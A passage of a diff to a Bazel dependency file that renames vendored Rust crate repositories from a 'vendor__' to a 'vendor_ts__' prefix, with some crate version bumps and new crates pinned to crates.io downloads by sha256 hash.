@@ -1055,7 +1079,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__cov-mark-2.0.0",
+        name = "vendor_ts__cov-mark-2.0.0",
         sha256 = "0570650661aa447e7335f1d5e4f499d8e58796e617bedc9267d971e51c8b49d4",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/cov-mark/2.0.0/download"],
@@ -1065,7 +1089,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__crc32fast-1.4.2",
+        name = "vendor_ts__crc32fast-1.4.2",
         sha256 = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/crc32fast/1.4.2/download"],
@@ -1075,7 +1099,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__crossbeam-channel-0.5.14",
+        name = "vendor_ts__crossbeam-channel-0.5.14",
         sha256 = "06ba6d68e24814cb8de6bb986db8222d3a027d15872cabc0d18817bc3c0e4471",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/crossbeam-channel/0.5.14/download"],
@@ -1085,7 +1109,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__crossbeam-deque-0.8.6",
+        name = "vendor_ts__crossbeam-deque-0.8.6",
         sha256 = "9dd111b7b7f7d55b72c0a6ae361660ee5853c9af73f70c3c2ef6858b950e2e51",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/crossbeam-deque/0.8.6/download"],
@@ -1095,7 +1119,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__crossbeam-epoch-0.9.18",
+        name = "vendor_ts__crossbeam-epoch-0.9.18",
         sha256 = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/crossbeam-epoch/0.9.18/download"],
@@ -1105,7 +1129,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__crossbeam-utils-0.8.21",
+        name = "vendor_ts__crossbeam-queue-0.3.12",
+        sha256 = "0f58bbc28f91df819d0aa2a2c00cd19754769c2fad90579b3592b1c9ba7a3115",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/crossbeam-queue/0.3.12/download"],
+        strip_prefix = "crossbeam-queue-0.3.12",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.crossbeam-queue-0.3.12.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__crossbeam-utils-0.8.21",
         sha256 = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/crossbeam-utils/0.8.21/download"],
@@ -1115,7 +1149,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__darling-0.20.10",
+        name = "vendor_ts__darling-0.20.10",
         sha256 = "6f63b86c8a8826a49b8c21f08a2d07338eec8d900540f8630dc76284be802989",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/darling/0.20.10/download"],
@@ -1125,7 +1159,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__darling_core-0.20.10",
+        name = "vendor_ts__darling_core-0.20.10",
         sha256 = "95133861a8032aaea082871032f5815eb9e98cef03fa916ab4500513994df9e5",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/darling_core/0.20.10/download"],
@@ -1135,7 +1169,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__darling_macro-0.20.10",
+        name = "vendor_ts__darling_macro-0.20.10",
         sha256 = "d336a2a514f6ccccaa3e09b02d41d35330c07ddf03a62165fcec10bb561c7806",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/darling_macro/0.20.10/download"],
@@ -1145,7 +1179,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__dashmap-5.5.3",
+        name = "vendor_ts__dashmap-5.5.3",
         sha256 = "978747c1d849a7d2ee5e8adc0159961c48fb7e5db2f06af6723b80123bb53856",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/dashmap/5.5.3/download"],
@@ -1155,7 +1189,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__deranged-0.3.11",
+        name = "vendor_ts__dashmap-6.1.0",
+        sha256 = "5041cc499144891f3790297212f32a74fb938e5136a14943f338ef9e0ae276cf",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/dashmap/6.1.0/download"],
+        strip_prefix = "dashmap-6.1.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.dashmap-6.1.0.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__deranged-0.3.11",
         sha256 = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/deranged/0.3.11/download"],
@@ -1165,7 +1209,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__drop_bomb-0.1.5",
+        name = "vendor_ts__drop_bomb-0.1.5",
         sha256 = "9bda8e21c04aca2ae33ffc2fd8c23134f3cac46db123ba97bd9d3f3b8a4a85e1",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/drop_bomb/0.1.5/download"],
@@ -1175,7 +1219,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__dunce-1.0.5",
+        name = "vendor_ts__dunce-1.0.5",
         sha256 = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/dunce/1.0.5/download"],
@@ -1185,17 +1229,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__either-1.13.0",
-        sha256 = "60b1af1c220855b6ceac025d3f6ecdd2b7c4894bfe9cd9bda4fbb4bc7c0d4cf0",
+        name = "vendor_ts__either-1.15.0",
+        sha256 = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/either/1.13.0/download"],
-        strip_prefix = "either-1.13.0",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.either-1.13.0.bazel"),
+        urls = ["https://static.crates.io/crates/either/1.15.0/download"],
+        strip_prefix = "either-1.15.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.either-1.15.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__ena-0.14.3",
+        name = "vendor_ts__ena-0.14.3",
         sha256 = "3d248bdd43ce613d87415282f69b9bb99d947d290b10962dd6c56233312c2ad5",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/ena/0.14.3/download"],
@@ -1205,7 +1249,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__encoding-0.2.33",
+        name = "vendor_ts__encoding-0.2.33",
         sha256 = "6b0d943856b990d12d3b55b359144ff341533e516d94098b1d3fc1ac666d36ec",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/encoding/0.2.33/download"],
@@ -1215,7 +1259,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__encoding-index-japanese-1.20141219.5",
+        name = "vendor_ts__encoding-index-japanese-1.20141219.5",
         sha256 = "04e8b2ff42e9a05335dbf8b5c6f7567e5591d0d916ccef4e0b1710d32a0d0c91",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/encoding-index-japanese/1.20141219.5/download"],
@@ -1225,7 +1269,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__encoding-index-korean-1.20141219.5",
+        name = "vendor_ts__encoding-index-korean-1.20141219.5",
         sha256 = "4dc33fb8e6bcba213fe2f14275f0963fd16f0a02c878e3095ecfdf5bee529d81",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/encoding-index-korean/1.20141219.5/download"],
@@ -1235,7 +1279,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__encoding-index-simpchinese-1.20141219.5",
+        name = "vendor_ts__encoding-index-simpchinese-1.20141219.5",
         sha256 = "d87a7194909b9118fc707194baa434a4e3b0fb6a5a757c73c3adb07aa25031f7",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/encoding-index-simpchinese/1.20141219.5/download"],
@@ -1245,7 +1289,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__encoding-index-singlebyte-1.20141219.5",
+        name = "vendor_ts__encoding-index-singlebyte-1.20141219.5",
         sha256 = "3351d5acffb224af9ca265f435b859c7c01537c0849754d3db3fdf2bfe2ae84a",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/encoding-index-singlebyte/1.20141219.5/download"],
@@ -1255,7 +1299,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__encoding-index-tradchinese-1.20141219.5",
+        name = "vendor_ts__encoding-index-tradchinese-1.20141219.5",
         sha256 = "fd0e20d5688ce3cab59eb3ef3a2083a5c77bf496cb798dc6fcdb75f323890c18",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/encoding-index-tradchinese/1.20141219.5/download"],
@@ -1265,7 +1309,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__encoding_index_tests-0.1.4",
+        name = "vendor_ts__encoding_index_tests-0.1.4",
         sha256 = "a246d82be1c9d791c5dfde9a2bd045fc3cbba3fa2b11ad558f27d01712f00569",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/encoding_index_tests/0.1.4/download"],
@@ -1275,7 +1319,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__equivalent-1.0.1",
+        name = "vendor_ts__equivalent-1.0.1",
         sha256 = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/equivalent/1.0.1/download"],
@@ -1285,7 +1329,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__figment-0.10.19",
+        name = "vendor_ts__figment-0.10.19",
         sha256 = "8cb01cd46b0cf372153850f4c6c272d9cbea2da513e07538405148f95bd789f3",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/figment/0.10.19/download"],
@@ -1295,7 +1339,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__filetime-0.2.25",
+        name = "vendor_ts__filetime-0.2.25",
         sha256 = "35c0522e981e68cbfa8c3f978441a5f34b30b96e146b33cd3359176b50fe8586",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/filetime/0.2.25/download"],
@@ -1305,7 +1349,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__fixedbitset-0.4.2",
+        name = "vendor_ts__fixedbitset-0.4.2",
         sha256 = "0ce7134b9999ecaf8bcd65542e436736ef32ddca1b3e06094cb6ec5755203b80",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/fixedbitset/0.4.2/download"],
@@ -1315,17 +1359,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__flate2-1.0.35",
-        sha256 = "c936bfdafb507ebbf50b8074c54fa31c5be9a1e7e5f467dd659697041407d07c",
+        name = "vendor_ts__flate2-1.1.0",
+        sha256 = "11faaf5a5236997af9848be0bef4db95824b1d534ebc64d0f0c6cf3e67bd38dc",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/flate2/1.0.35/download"],
-        strip_prefix = "flate2-1.0.35",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.flate2-1.0.35.bazel"),
+        urls = ["https://static.crates.io/crates/flate2/1.1.0/download"],
+        strip_prefix = "flate2-1.1.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.flate2-1.1.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__fnv-1.0.7",
+        name = "vendor_ts__fnv-1.0.7",
         sha256 = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/fnv/1.0.7/download"],
@@ -1335,7 +1379,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__fs-err-2.11.0",
+        name = "vendor_ts__foldhash-0.1.5",
+        sha256 = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/foldhash/0.1.5/download"],
+        strip_prefix = "foldhash-0.1.5",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.foldhash-0.1.5.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__fs-err-2.11.0",
         sha256 = "88a41f105fe1d5b6b34b2055e3dc59bb79b46b48b2040b9e6c7b4b5de097aa41",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/fs-err/2.11.0/download"],
@@ -1345,7 +1399,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__fsevent-sys-4.1.0",
+        name = "vendor_ts__fsevent-sys-4.1.0",
         sha256 = "76ee7a02da4d231650c7cea31349b889be2f45ddb3ef3032d2ec8185f6313fd2",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/fsevent-sys/4.1.0/download"],
@@ -1355,7 +1409,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__fst-0.4.7",
+        name = "vendor_ts__fst-0.4.7",
         sha256 = "7ab85b9b05e3978cc9a9cf8fea7f01b494e1a09ed3037e16ba39edc7a29eb61a",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/fst/0.4.7/download"],
@@ -1365,17 +1419,27 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__getrandom-0.2.15",
-        sha256 = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7",
+        name = "vendor_ts__generator-0.8.4",
+        sha256 = "cc6bd114ceda131d3b1d665eba35788690ad37f5916457286b32ab6fd3c438dd",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/generator/0.8.4/download"],
+        strip_prefix = "generator-0.8.4",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.generator-0.8.4.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__getrandom-0.3.1",
+        sha256 = "43a49c392881ce6d5c3b8cb70f98717b7c07aabbdff06687b9030dbfbe2725f8",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/getrandom/0.2.15/download"],
-        strip_prefix = "getrandom-0.2.15",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.getrandom-0.2.15.bazel"),
+        urls = ["https://static.crates.io/crates/getrandom/0.3.1/download"],
+        strip_prefix = "getrandom-0.3.1",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.getrandom-0.3.1.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__glob-0.3.2",
+        name = "vendor_ts__glob-0.3.2",
         sha256 = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/glob/0.3.2/download"],
@@ -1385,7 +1449,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__globset-0.4.15",
+        name = "vendor_ts__globset-0.4.15",
         sha256 = "15f1ce686646e7f1e19bf7d5533fe443a45dbfb990e00629110797578b42fb19",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/globset/0.4.15/download"],
@@ -1395,7 +1459,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__hashbrown-0.12.3",
+        name = "vendor_ts__hashbrown-0.12.3",
         sha256 = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/hashbrown/0.12.3/download"],
@@ -1405,7 +1469,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__hashbrown-0.14.5",
+        name = "vendor_ts__hashbrown-0.14.5",
         sha256 = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/hashbrown/0.14.5/download"],
@@ -1415,7 +1479,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__hashbrown-0.15.2",
+        name = "vendor_ts__hashbrown-0.15.2",
         sha256 = "bf151400ff0baff5465007dd2f3e717f3fe502074ca563069ce3a6629d07b289",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/hashbrown/0.15.2/download"],
@@ -1425,17 +1489,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__heck-0.4.1",
-        sha256 = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8",
+        name = "vendor_ts__hashlink-0.10.0",
+        sha256 = "7382cf6263419f2d8df38c55d7da83da5c18aef87fc7a7fc1fb1e344edfe14c1",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/heck/0.4.1/download"],
-        strip_prefix = "heck-0.4.1",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.heck-0.4.1.bazel"),
+        urls = ["https://static.crates.io/crates/hashlink/0.10.0/download"],
+        strip_prefix = "hashlink-0.10.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.hashlink-0.10.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__heck-0.5.0",
+        name = "vendor_ts__heck-0.5.0",
         sha256 = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/heck/0.5.0/download"],
@@ -1445,7 +1509,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__hermit-abi-0.3.9",
+        name = "vendor_ts__hermit-abi-0.3.9",
         sha256 = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/hermit-abi/0.3.9/download"],
@@ -1455,7 +1519,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__hex-0.4.3",
+        name = "vendor_ts__hex-0.4.3",
         sha256 = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/hex/0.4.3/download"],
@@ -1465,7 +1529,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__home-0.5.11",
+        name = "vendor_ts__home-0.5.11",
         sha256 = "589533453244b0995c858700322199b2becb13b627df2851f64a2775d024abcf",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/home/0.5.11/download"],
@@ -1475,7 +1539,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__iana-time-zone-0.1.61",
+        name = "vendor_ts__iana-time-zone-0.1.61",
         sha256 = "235e081f3925a06703c2d0117ea8b91f042756fd6e7a6e5d901e8ca1a996b220",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/iana-time-zone/0.1.61/download"],
@@ -1485,7 +1549,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__iana-time-zone-haiku-0.1.2",
+        name = "vendor_ts__iana-time-zone-haiku-0.1.2",
         sha256 = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/iana-time-zone-haiku/0.1.2/download"],
@@ -1495,7 +1559,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__ident_case-1.0.1",
+        name = "vendor_ts__ident_case-1.0.1",
         sha256 = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/ident_case/1.0.1/download"],
@@ -1505,7 +1569,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__indexmap-1.9.3",
+        name = "vendor_ts__indexmap-1.9.3",
         sha256 = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/indexmap/1.9.3/download"],
@@ -1515,7 +1579,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__indexmap-2.7.0",
+        name = "vendor_ts__indexmap-2.7.0",
         sha256 = "62f822373a4fe84d4bb149bf54e584a7f4abec90e072ed49cda0edea5b95471f",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/indexmap/2.7.0/download"],
@@ -1525,7 +1589,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__inlinable_string-0.1.15",
+        name = "vendor_ts__inlinable_string-0.1.15",
         sha256 = "c8fae54786f62fb2918dcfae3d568594e50eb9b5c25bf04371af6fe7516452fb",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/inlinable_string/0.1.15/download"],
@@ -1535,17 +1599,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__inotify-0.9.6",
-        sha256 = "f8069d3ec154eb856955c1c0fbffefbf5f3c40a104ec912d4797314c1801abff",
+        name = "vendor_ts__inotify-0.11.0",
+        sha256 = "f37dccff2791ab604f9babef0ba14fbe0be30bd368dc541e2b08d07c8aa908f3",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/inotify/0.9.6/download"],
-        strip_prefix = "inotify-0.9.6",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.inotify-0.9.6.bazel"),
+        urls = ["https://static.crates.io/crates/inotify/0.11.0/download"],
+        strip_prefix = "inotify-0.11.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.inotify-0.11.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__inotify-sys-0.1.5",
+        name = "vendor_ts__inotify-sys-0.1.5",
         sha256 = "e05c02b5e89bff3b946cedeca278abc628fe811e604f027c45a8aa3cf793d0eb",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/inotify-sys/0.1.5/download"],
@@ -1555,7 +1619,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__is_terminal_polyfill-1.70.1",
+        name = "vendor_ts__is_terminal_polyfill-1.70.1",
         sha256 = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/is_terminal_polyfill/1.70.1/download"],
@@ -1565,7 +1629,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__itertools-0.12.1",
+        name = "vendor_ts__itertools-0.12.1",
         sha256 = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/itertools/0.12.1/download"],
@@ -1575,7 +1639,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__itertools-0.14.0",
+        name = "vendor_ts__itertools-0.14.0",
         sha256 = "2b192c782037fadd9cfa75548310488aabdbf3d2da73885b31bd0abd03351285",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/itertools/0.14.0/download"],
@@ -1585,7 +1649,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__itoa-1.0.14",
+        name = "vendor_ts__itoa-1.0.14",
         sha256 = "d75a2a4b1b190afb6f5425f10f6a8f959d2ea0b9c2b1d79553551850539e4674",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/itoa/1.0.14/download"],
@@ -1595,7 +1659,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__jod-thread-0.1.2",
+        name = "vendor_ts__jod-thread-0.1.2",
         sha256 = "8b23360e99b8717f20aaa4598f5a6541efbe30630039fbc7706cf954a87947ae",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/jod-thread/0.1.2/download"],
@@ -1605,7 +1669,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__js-sys-0.3.76",
+        name = "vendor_ts__js-sys-0.3.76",
         sha256 = "6717b6b5b077764fb5966237269cb3c64edddde4b14ce42647430a78ced9e7b7",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/js-sys/0.3.76/download"],
@@ -1615,7 +1679,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__kqueue-1.0.8",
+        name = "vendor_ts__kqueue-1.0.8",
         sha256 = "7447f1ca1b7b563588a205fe93dea8df60fd981423a768bc1c0ded35ed147d0c",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/kqueue/1.0.8/download"],
@@ -1625,7 +1689,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__kqueue-sys-1.0.4",
+        name = "vendor_ts__kqueue-sys-1.0.4",
         sha256 = "ed9625ffda8729b85e45cf04090035ac368927b8cebc34898e7c120f52e4838b",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/kqueue-sys/1.0.4/download"],
@@ -1635,7 +1699,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__la-arena-0.3.1",
+        name = "vendor_ts__la-arena-0.3.1",
         sha256 = "3752f229dcc5a481d60f385fa479ff46818033d881d2d801aa27dffcfb5e8306",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/la-arena/0.3.1/download"],
@@ -1645,7 +1709,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__lazy_static-1.5.0",
+        name = "vendor_ts__lazy_static-1.5.0",
         sha256 = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/lazy_static/1.5.0/download"],
@@ -1655,7 +1719,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__libc-0.2.169",
+        name = "vendor_ts__libc-0.2.169",
         sha256 = "b5aba8db14291edd000dfcc4d620c7ebfb122c613afb886ca8803fa4e128a20a",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/libc/0.2.169/download"],
@@ -1665,7 +1729,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__libredox-0.1.3",
+        name = "vendor_ts__libredox-0.1.3",
         sha256 = "c0ff37bd590ca25063e35af745c343cb7a0271906fb7b37e4813e8f79f00268d",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/libredox/0.1.3/download"],
@@ -1675,7 +1739,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__line-index-0.1.2",
+        name = "vendor_ts__line-index-0.1.2",
         sha256 = "3e27e0ed5a392a7f5ba0b3808a2afccff16c64933312c84b57618b49d1209bd2",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/line-index/0.1.2/download"],
@@ -1685,7 +1749,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__lock_api-0.4.12",
+        name = "vendor_ts__lock_api-0.4.12",
         sha256 = "07af8b9cdd281b7915f413fa73f29ebd5d55d0d3f0155584dade1ff18cea1b17",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/lock_api/0.4.12/download"],
@@ -1695,7 +1759,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__log-0.3.9",
+        name = "vendor_ts__log-0.3.9",
         sha256 = "e19e8d5c34a3e0e2223db8e060f9e8264aeeb5c5fc64a4ee9965c062211c024b",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/log/0.3.9/download"],
@@ -1705,17 +1769,27 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__log-0.4.22",
-        sha256 = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24",
+        name = "vendor_ts__log-0.4.25",
+        sha256 = "04cbf5b083de1c7e0222a7a51dbfdba1cbe1c6ab0b15e29fff3f6c077fd9cd9f",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/log/0.4.22/download"],
-        strip_prefix = "log-0.4.22",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.log-0.4.22.bazel"),
+        urls = ["https://static.crates.io/crates/log/0.4.25/download"],
+        strip_prefix = "log-0.4.25",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.log-0.4.25.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__lz4_flex-0.11.3",
+        name = "vendor_ts__loom-0.7.2",
+        sha256 = "419e0dc8046cb947daa77eb95ae174acfbddb7673b4151f56d1eed8e93fbfaca",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/loom/0.7.2/download"],
+        strip_prefix = "loom-0.7.2",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.loom-0.7.2.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__lz4_flex-0.11.3",
         sha256 = "75761162ae2b0e580d7e7c390558127e5f01b4194debd6221fd8c207fc80e3f5",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/lz4_flex/0.11.3/download"],
@@ -1725,7 +1799,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__matchers-0.1.0",
+        name = "vendor_ts__matchers-0.1.0",
         sha256 = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/matchers/0.1.0/download"],
